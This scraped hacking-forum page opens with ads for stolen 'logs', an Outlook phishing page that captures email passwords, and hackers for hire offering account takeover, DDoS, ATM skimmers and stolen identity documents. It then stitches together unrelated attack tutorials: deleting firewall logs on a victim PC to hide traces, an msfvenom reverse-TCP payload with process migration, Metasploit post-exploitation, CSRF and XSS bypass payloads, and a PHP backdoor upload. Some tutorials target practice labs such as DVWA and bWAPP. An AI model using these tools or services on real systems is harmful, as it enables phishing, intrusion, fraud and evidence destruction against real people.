Buy logs ebay Germany

Telegramm @goldenrichi

Here is a small logger that works in almost any free hosting. It's a Outlook similar page that records the email and password.

Outlook Phishing page + example (logger) 3
- Added html redirect
- Added image button
- Final version

Download:

[To see content please register here]

Just as on other underground marketplaces,
there is no shortage of hackers offering their services
we revealed some of our great expertise works such as;
“Hacking into Organizations,Websites,Series of email accounts as
" Gmail accounts, Yahoo accounts,Msn,Meebo,Social media Hacks as
Facebook,Whatsapp,ICQ,Telegram,Instagram,Skype,IM, LinkedIn as
well as accounts with popular Russian email providers such as
Mail.Ru, Yandex.Ru,& Rambler. Ru,Various Kinds of Games & Software,
Games server files + database,WI-FI Hacks,Phone Hacks,Social Engineering,
Scanning Networks,Web Designing & Hosting ,Evading IDS, Firewalls,SQL Injection,
Distributed Denial of Service (DDoS) Attacks,• UDP Flood• TCP Flood• HTTP/HTTPS Flood• SYN Flood,
3D Printing of ATM SkimmersPersonally Identifiable Information (PII),
VBV (Verified by Visa),New Identity Package,
such as Scans of Social Security Card

[email protected]
telegram : @masterhackin

Today we found a Vulnerable Lab based on the

[To see content please register here]

1. Scanning Network
   

• TCP and UDP ports scanning using nmap
  

1. Testing Port 80
   

• Surfing HTTP service on Web Browser
  

1. Directory Scanning
   

• Scanning using Nikto
  

1. Exploiting BuilderEngine
   

• Using the Metasploit module to get a meterpreter session
  

1. Retrieving Flag 1
   
2. Exploiting chkrootkit
   

• Using the Metasploit module to get the root shell
  

1. Retrieving Flag 2
   

This article is only for tutorial purpose where we are trying to share our experience to enhance skills of IT researchers. This article will help attackers to protect themselves if they were caught by the firewall. Usually when an attacker establishes the connection with target’s system a log is generated having some details like time, ports, IP address and MAC address of the attacker. So if you are not aware of such things then you might leave evidence of your attacks in victim’s system. To prevent yourself you must go through this article where you will learn how to read the firewall logs as well as how to delete the logs from the victim’s PC.
Being an intelligent attack once you have hacked the target then after fetching important data the most essential thing is to read and delete the log files from the target system.
First, hack The Victim PC read Here
So now we are inside windows/system32 where we can perform the admin-level task. Type following command inside CMD shell to move inside the logs directory
cd Logfiles/firewall
1
cd Logfiles/firewall
Type dir to observe the present directory of the firewall.
dir
1
dir

From the screenshot you can find that there are two files and two directories, therefore being an attacker I need to check the log firewall from target PC. Now Type the following command to read firewall logs.
type pfirewall.log
1
type pfirewall.log

So the highlighted log is showing the MAC address of the attacker system. Hence to protect yourself always delete these logs.
To delete pfirewall.log we must turn off firewall, type following command to disable the firewall from victim PC.
netsh firewall set opmode mode=disable
1
netsh firewall set opmode mode=disable

Now type given below command to delete pfirewall.log
del pfirewall.log
1
del pfirewall.log

Now type given below command to verify pfirewall.log is still available or not in victim’s PC
type pfirewall.log
1
type pfirewall.log


For any network administration, it is very important that he should know how to check firewall logs in his network in order to maintain the security of the system. In this article, you will learn more about firewall utility where we have tried to describe how can any person check firewall log in his private network.
Let’s Start
Let have a look where you will learn more about firewall security. Open windows firewall then select advance setting on the left side under the control panel home.

Here we are at windows firewall advance setting; explore its property tab present on the right side of window’s frame.

Now you can see the local computer property dialog box has been opened, here select the private profile option.

Here another dialog box will get appear in front of you to configure a private profile for the firewall.

Only we need to manipulate two things in this profile without disturbing other settings. Change “NO (default)” into “YES” for log dropped packets and log successful connection as shown in the given screenshot. At last click on OK.

Now again we are at advance security setting of firewall here bring your cursor down toward monitoring option. From the screenshot, you can see the window frame for firewall monitoring where it contains general and logging setting. As we want to read firewall logs therefore now click on the blue link given as file name under logging setting.

GREAT!!! Finally, we can read the firewall log and can investigate firewall traffic in our network.


Again we are sharing our experience with our visitors to enhance their skills and ability. In this article, you will learn how to manage multiple sessions of different targets in a network. Once you hacked more than one system in a network and received multiple meterpreter session in your Kali Linux then how will you retrieve data simultaneously from all targets.
Let’s Proceed
First, an attacker needs to create a payload and share it in the network with his targets, then start multi handler in the Metasploit framework. Now when the available targets will open the payload in their system, the attacker will receive the series of sessions.
Here you can see from the given screenshot I have to receive two sessions from a different system.
msf exploit(handler) > sessions
1
msf exploit(handler) > sessions

In order to gather the information from both targeted system simultaneously, I had used post exploitation which let an attacker execute the same command for multiple sessions at a time.
This module executes an arbitrary command line
msf exploit(handler) > use post/multi/general/execute
msf post(execute) > set command ipconfig
msf post(execute) > set session 1
msf post(execute) >exploit
1
2
3
4
msf exploit(handler) > use post/multi/general/execute
msf post(execute) > set command ipconfig
msf post(execute) > set session 1
msf post(execute) >exploit
In the given screenshot, you can see I have executed ipconfig to know the network configuration for session 1 and here the target IP is 192.168.0.100 as result.

Then in the next step, I just need to change the session from 1 into 2 so that I can know network configuration for session 2 also and here the target IP is 192.168.0.105 as result.
msf post(execute) > set session 2
msf post(execute) >exploit
1
2
msf post(execute) > set session 2
msf post(execute) >exploit


If you are a network penetration tester then you must read this article to enhance your skill. It is the part of advanced penetration testing which might help in creating a strong payload for an attack to the targeted system. In this article you will learn more about the strength of msfvenom, here we will create such a payload which is different from my previous tutorial. The payload migrates its process if the current process gets killed hence the attacker will not lose his session if the victim kills the current process ID of the payload from its system.
Let,s Start
Open the terminal in kali Linux and type following command to generate exe payload.
msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.104 lport=5555 prependmigrate=true prepenmigrateprocess=explorer.exe –f exe > /root/Desktop/raj.exe
1
msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.104 lport=5555 prependmigrate=true prepenmigrateprocess=explorer.exe –f exe > /root/Desktop/raj.exe
Above command will create the raj.exe file on the Desktop now send this file to a remote system for the attack.

Load metasploit framework and type following command to start the attack.
use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.104
msf exploit(handler) > set lport 5555
msf exploit(handler) > exploit
1
2
3
4
5
use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.104
msf exploit(handler) > set lport 5555
msf exploit(handler) > exploit
When victim will open the raj.exe file we will get the meterpreter session.
meterpreter> sysinfo
1
meterpreter> sysinfo

Now let check the process ID of our payload.
meterpreter> ps
1
meterpreter> ps
From the highlighted text you can read the process ID shown for raj.exe i.e. 4960.

Now attacker tries himself to kill the current process state for raj.exe to verify process migration, as result process 4960 get killed.
meterpreter> kill 4960
1
meterpreter> kill 4960
But!!! Still, we have a victim’s session which means raj.exe file migrate into new process ID.
meterpreter> sysinfo
1
meterpreter> sysinfo

In

[To see content please register here]

in this article, you will learn Cross-site request forgery attack. For CSRF tutorial I have targeted DVWA and try to bypass low-security level.
Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF (sometimes pronounced sea-surf) or XSRF, is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the website trusts. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user’s browser.
An attacker may forge a request to log the victim into a target website using the attacker’s credentials; this is known as login CSRF. Login CSRF makes various novel attacks possible; for instance, an attacker can later log into the site with his legitimate credentials and view private information.
Reference: en.wikipedia.org/wiki/Cross-site_request_forgery
Let’s start!!!
By default, the credential set for DVWA is admin: password. As you can see I have used them for login in DVWA.

Now set security level at low and select the bug cross-site request forgery as a current vulnerability. Here you see the text fields are given for changing the password of the database for user admin.

Now open the view source page and copy the highlighted text.

Then paste above-copied HTML code inside a text file. If you are aware of HTML coding then it will be very to understand the following syntax inside the notepad which will create a form to reset the password of a web page. Now save the file as csrf.html

Now when you will open the csrf.html file it will look like the given below image where it contains the text field for password and a submit button.

Now again open csrf.html with notepad to edit the value inside the text field given for new password and confirm the password. In the following screenshot, you can see I have given value= “hacker” as new password and confirm the password. Then again save it with csrf.html

Now when again you will open the csrf.html file you will find that the blank text field is given for password is get filled.

Now when you will click on change button the password will reset for that web page. This is all about how html form will work and from the given screenshot you can read the sent GET request for changing the password through URL.

Since this tutorial is related to bypass low security in DVWA, therefore, we need to add target location inside the html form to make CSRF attack for changing the password for admin without his permission.
Now copy the URL as shown in the following image.

Again open csrf.html with notepad and replace # from above-copied URL which will directly change the password of targeted location for user admin.

Here you can read the final syntax for html form to change the password for admin inside DVWA without his involvement. Now send this crsf.html file to the victim using social engineering or phishing technique to trap the victim for exploiting with CSRF attack.

When victim will open the csrf.html file and click on the change button the password will get changed for admin inside DVWA.

From the screenshot you can see without admin permission we have successfully changed his password.

Now let’s verify, as we know the previous credential was admin: password; here when I try to use them it shows the login failed.

Further, when I try with admin: hacker as a current credential, I log in successfully inside DVWA. This was all about CSRF tutorial to bypass low security in DVWA.


In the previous tutorial, I have discussed cross-site scripting attack and looked over the damage caused by it. Where I briefly explained the type of XSS vulnerability; now in this tutorial, you will learn how to bypass both type of XSS vulnerability (store and reflected) in all three security levels if the web application is suffering from it.
Reflected Cross-Site Scripting
Set security low
Explore localhost IP in the browser; now log in with admin: password and select the reflected cross-site scripting vulnerability from a given list of vulnerabilities.

Now have a look over a small script which would generate an alert window. So in the given text field for “name” I will inject the script in the server.
<script>alert(“helllooo”)</script>

The browser will execute our script which generates an alert prompt as showing following screenshot.
In low security, it will easily bypass the injected script when an attacker injects it in the text field given for “name” which should be not left empty according to the developer.

Set Security Medium
In medium security, if you visit to view the source of its web page then you will find that the highlighted content has added an extra layer of security to the inserted input in text field given for “name” which will check for a script tag to disable the javascript.
str_replace — Replace all occurrences of the search string with the replacement string And if an attacker tries to inject a script using script tag, the string inside script will get replaced to blank space.
It could be considered as case sensitive because the given PHP script will check for <script> which can be replaced by <SCRIPT> or using another HTML tag to bypass medium security.

There are two ways either use <SCRIPT> tag or any other HTML element, right now I had used body tag to inject the string.
<body onload=alert(“XSS”)>

Above script is successfully injected and we have bypassed the medium security. You can see from given screenshot XSS prompt get opened using body tag.

Set Security High
In high security, the level of security increased where you can easily find preg-replace PHP function is used to perform regular expression to disable the javascript.
Preg_replace – Searches string for matches to pattern and replaces them with replacement.
Now above technique will fail as you can see it will search for each and every valid input character for the text field and replace invalid character into blank space.

To bypass high-security level use element of HTML, as you can see I have used image source tag to generate the string inside the web server.
<img src=x onError=alert(‘XSS’)>

From given below screenshot you see XSS alert prompt.

CONGRATS!!! We have successfully bypassed all three levels of security.
Stored Cross-Site Scripting
Set security low
Now have a look over a small script which would generate an alert window. So in the text area given for message I will inject the script which gets stored in the server.
<script>alert(“helllooo”)</script>

Now when user will visit this page to read our message his browser will execute our script which generates an alert prompt as showing the following screenshot.

Since it gets permanently stored in a web application server therefore before switching to other two levels of security you need to reset the database.

Set Security Medium
If you remember, in the previous article we have used inspect element to change text area given for message length so that we might able to inject our script inside it. Repeat the same process to change the maximum length given text field of “name”.

Change “maxlength=10 into maxlength=100”; which will be sufficient area for injecting the content of the script.

Now type following content inside the text field given for “name”.
<body onload=alert(“XSS”)>
Remember do not leave message box empty.

Now when user will visit this page to read our message his browser will execute our script which generates an alert prompt as showing the following screenshot.

Again you need to reset the database.

Set security High
Repeat the same process to change the max length of the text field given for “name”.

Change “maxlength=10 into maxlength=100”

Now type following content inside the text field given for “name”.
<img src=x onError=alert(‘xss’)>
Remember do not leave message box empty.


CONGRATS!!! We have successfully bypassed all three levels of security.

HTTP authentication uses methodologies via which web servers and browsers securely exchanges the credentials like usernames and passwords. HTTP authentication or we can also call it as Digest Authentication follows the predefined methods/standards which use encoding techniques and MD5 cryptographic hashing over HTTP protocol.
In this article, we are covering the methodologies/standards used for HTTP Authentication.
For the sake of understanding, we will be using our php scripts that will simply capture user name and passwords and we will generate the Authorization value as per the standards.
For http codes visit

[To see content please register here]

In the previous article we have explained the concept of redirection with basic redirection and encoded redirections; in this article, we will cover the more secured redirection using hashing and salting techniques.
In this article also we will be covering the redirection using the same php scripts with little modification within the code.
Redirection using Hash Values
On browser type http://localhost/hashing/home.php
Hover on Redirect Link pointing to redirection page (re.php). We can see that the redirection link not only contains the URL as a parameter but also the hash which means that we are not only passing the URL as a parameter but also generating the hash value using MD5/SH1/SHA512 or any of the hashing algorithm and redirection will only work if the combination of URL and its hash is correct else not.
(Shown in the figure below). This is a more secure way of redirection.

For the sake of understanding our redirection link is showing the parameters like URL and Hash but in the case or real development, we can hide them so that attacker won’t be able to judge where the page is being redirected.
When we click on Redirect Link redirection script on re.php will catch the passed URL and generate its hash value (we are using MD5 hash algorithm) and compare the generated hash value with the hash value we have sent with the request, if both the hash values match the redirection would work else it will fail.
We are using a hash calculator for generating the MD5 Value of “https://www.hackingarticles.in”.

The MD5 hash value of “https://www.hackingarticles.in” is 8258c1efb05943d059476150cb22df1d
In the below image we are replacing the original hash value of “https://www.hackingarticles.in” from its original value which is “8258c1efb05943d059476150cb22df1d” to any different value for example “9258c1efb05943d059476150cb22df1d” (we have replaced only first digit from 8 to 9).

The redirection has failed and the script has returned an error message. Finally, we are sending the URL along with the generated Hash Value as parameter and result is below

Redirection using Hash Values with salting
On browser type http://localhost/hashing/home.php (the page where we have our scripts)
Hover on Redirect Link pointing to redirection page (re.php). Here we can see one more additional parameter salt. As in the previous methodology we have worked with Hash values while working with salting we are introducing one more parameter salt and generating the hash value of the URL by prepending or appending the salt value in front of the URL or at the end of the URL. The salt value could be anything, it could be a combination of characters, digits, alphanumeric, special character or anything we want (In this example we are using the salt value “ignite”). By using salts we are further increasing the security for redirecting the URL.

For the sake of understanding our redirection link is showing the parameters like URL and Hash and Salt but in the case or real development, we can hide them so that attacker won’t be able to judge where the page is being redirected.
When we click on Redirect Link redirection script on re.php will catch the passed URL and generate its hash value (we are using Sha1 hash algorithm) by appending the salt value (ignite) in front of the URL and compare the generated hash value with the hash value we have sent with the request, if both the hash values match the redirection would work else it will fail.

in Above image we are generating the Sha1 hash value by appending the salt “ignite” in front of the URL “https://www.hackingarticles.in” , we can use any online/offline converter in this example we are generating Sha1 hash through

[To see content please register here]

In this article, you will learn how to bypass all three security level of unrestricted file upload inside the bWAPP and if you want to know more about the various kind of file uploading vulnerability read the previous article that may help you to understand this article more clearly.
Low Security
Open the target IP in the browser: 192.168.0.106/bWAPP/login.php. Enter user and password as bee and bug respectively.
Set security level low, from the list box, chooses your bug select Unrestricted File Upload now and click on the hack.

Create PHP backdoor using msfvenom and start multi handler in the background; now from the screenshot, you can see I have browse meter.php for uploading as an image inside the web server.

When the image gets successfully uploaded on the web server it will send the link of the directory where the image is saved to view the uploaded image. Since we haven’t uploaded any real image, therefore, we will try to execute our PHP backdoor by making click on the link “here”.

When the victim clicks the above link “here” we will get the victim’s reverse connection through meterpreter session inside the Metasploit framework.
From the screenshot, you can see Metasploit session 1 is opened.

Medium Security
As the level of security changes so here we cannot able to perform the same procedure as above. Although here you just need to change only the extension of your PHP backdoor to bypass medium security. If you notice the image given below here you will find that I have browse meter.php3 for uploading.

Now repeat the same step run multi handler at the background and make click on the given link “here” to receive meterpreter session.

Great!!! From the screenshot, you can see Metasploit session 2 is opened.

High Security
Now we have enter into high security where above two file uploading attack will get failed so here again you need to make some small changes into the extension of PHP backdoor file for uploading it in the web server.
From the screenshot, you can read the file name high.php.png which I have to browse for uploading.

Here our file is successfully uploaded now make right click on the link “here” to copy link location and keep multi handler running at the background.

To bypass high security of file uploading in bWAPP we need to switch the bug as well as security level.
Set security level low and choose the bug remote & local file Inclusion then click on the hack.

Here the requested web page which suffering from RFI & LFI Vulnerability gets open. Where you will find a comment to select a language from the given drop down list, and when you click on go button the selected language file get included in URL.

Since I have uploaded the PHP backdoor shell in high security but execute that backdoor through low security with help of LFI vulnerability. Now just manipulate the following URL as shown in the screenshot.

[To see content please register here]